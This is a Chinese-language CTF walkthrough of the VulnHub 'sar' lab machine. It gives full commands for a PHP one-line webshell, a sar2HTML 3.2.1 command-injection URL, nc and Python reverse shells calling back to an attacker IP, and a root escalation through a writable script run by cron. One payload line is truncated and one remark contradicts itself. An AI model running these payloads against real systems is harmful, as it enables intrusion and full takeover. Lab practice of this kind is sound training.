vulnhub sar 靶场练习
前言
这次练习的靶机是vulnhub平台下的sar,该靶机是一个类似oscp的虚拟机,目的是提高并巩固渗透测试的知识点。下载地址为https://www.vulnhub.com/entry/sar-1,425/。这个靶机中没有出现新的知识点,难度相对比较简单。如果看过我前面vulnhub DC系列的文章,那么这次靶机可以独立自主完成。
虚拟机配置
这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击sar靶机,然后选中配置。依次点击网络配置
->NAT模式
->高级
->生成
,然后确认即可。
收集信息
nmap -sn --min-parallelism 100 --min-hostgroup 100 192.168.119.0/24
-sn 代表存活主机扫描,不进行端口测探。
–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。
–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。
更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。
发现靶机的IP地址为 192.168.119.174
,然后用nmap对靶机进行详细地扫描。
nmap -A -sV -p- --min-parallelism 100 192.168.119.174
-A 代表综合性扫描,能收集很多重要的信息
-sV 代表扫描主要的服务信息
-p- 参数p是指定端口,后面的
-
代表所有端口。
发现只开放的80端口,看来突破口只能从web上找了。用浏览器打开该网站。
发现是ubuntu的默认页面,用目录扫描工具dirsearch扫描一下,看看有没有隐藏的目录和文件。
dirsearch -u 192.168.119.174
发现了两个关键文件,其中 robots.txt
一般保存一些关键目录,防止搜索引擎的爬虫爬取这些目录。所以访问这个文件或许会发现新的目录或文件。
http://192.168.119.174/robots.txt
发现了一个目录,继续访问这个目录。
http://192.168.119.174/sar2HTML
发现这个页面可以上传文件,尝试上传一个一句话木马。木马代码如下,将其保存为php文件并上传:
<?php system("$_GET['a']");?>
上传后不知道文件在哪里,用目录扫描工具对 http://192.168.119.174/sar2HTML
进行扫描,但是没有扫描到上传的目录。用谷歌查一下该程序的上传目录,或者在github寻找该程序的源码。
一不小心发现了sar2HTML的远程代码执行漏洞,该靶机上sar2HTML的版本刚好是3.2.1,可以利用该漏洞建立反弹shell。
通过远程代码执行建立shell
sar2HTML的远程代码执行利用方式已经给出来了,在浏览器的URL输入如下地址就可执行命令。
http://192.168.119.174/sar2HTML/index.php?plot=;<系统命令>
要注意的是靶机的web程序是放在sar2HTML目录中,所以不要把这个目录给忘了。
首先在本地监听一个端口 4443
,然后通过nc反弹一个shell。
http://192.168.119.174/index.php?plot=;nc -e /bin/bash 192.168.119.130 4443
反弹没有成功,可能是靶机的nc禁用了-e参数,可以尝试一下另一种方法:
http://192.168.119.174/sar2HTML/index.php?plot=;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.130",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.du
注意靶机上只安装了python3,所以用python来执行命令不会成功。
了解更多关于反弹shell的方法可以参考:https://www.jianshu.com/p/5b73a607e2ea,反弹shell
使用Python反弹shell成功!
提权
拿到shell后首先尝试了suid提权,内核提权,但是没有成功!到家目录里面也没有发现特殊文件,然后到网站的根目录下寻找特殊文件。
cd /var/www/html
ls -la
发现了两个特殊文件 :finally.sh
这个文件属于root,write.sh
这个文件具有777权限。查看一下这两个文件里面的内容。
cat finally.sh
cat write.sh
发现finally.sh
里的内容就是执行write.sh
文件,而write.sh
文件的作用就是创建一个文件 /tmp/gateway
。由此想到了计划任务提权,查看一下 定时任务的配置文件/etc/crontab
。
果然定时计划配置不当,系统会每五分钟就以root权限执行finally.sh。现在将反弹shell的代码写入write.sh
中。
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
注意修改其中的IP地址与端口,写入write.sh后检查一下有没有缺少引号。
在这个定时任务提权中,不能将’/bin/sh’写入write.sh中来提权,因为执行该文件的是系统自动启动的一个shell,而不是当前自己可控的shell。
然后在本地监听4444端口并等待靶机反弹一个具有root权限的shell即可。
提权成功,读取flag。
cd /root
cat root.txt
参考文献
[1] https://www.jianshu.com/p/5b73a607e2ea,反弹shell。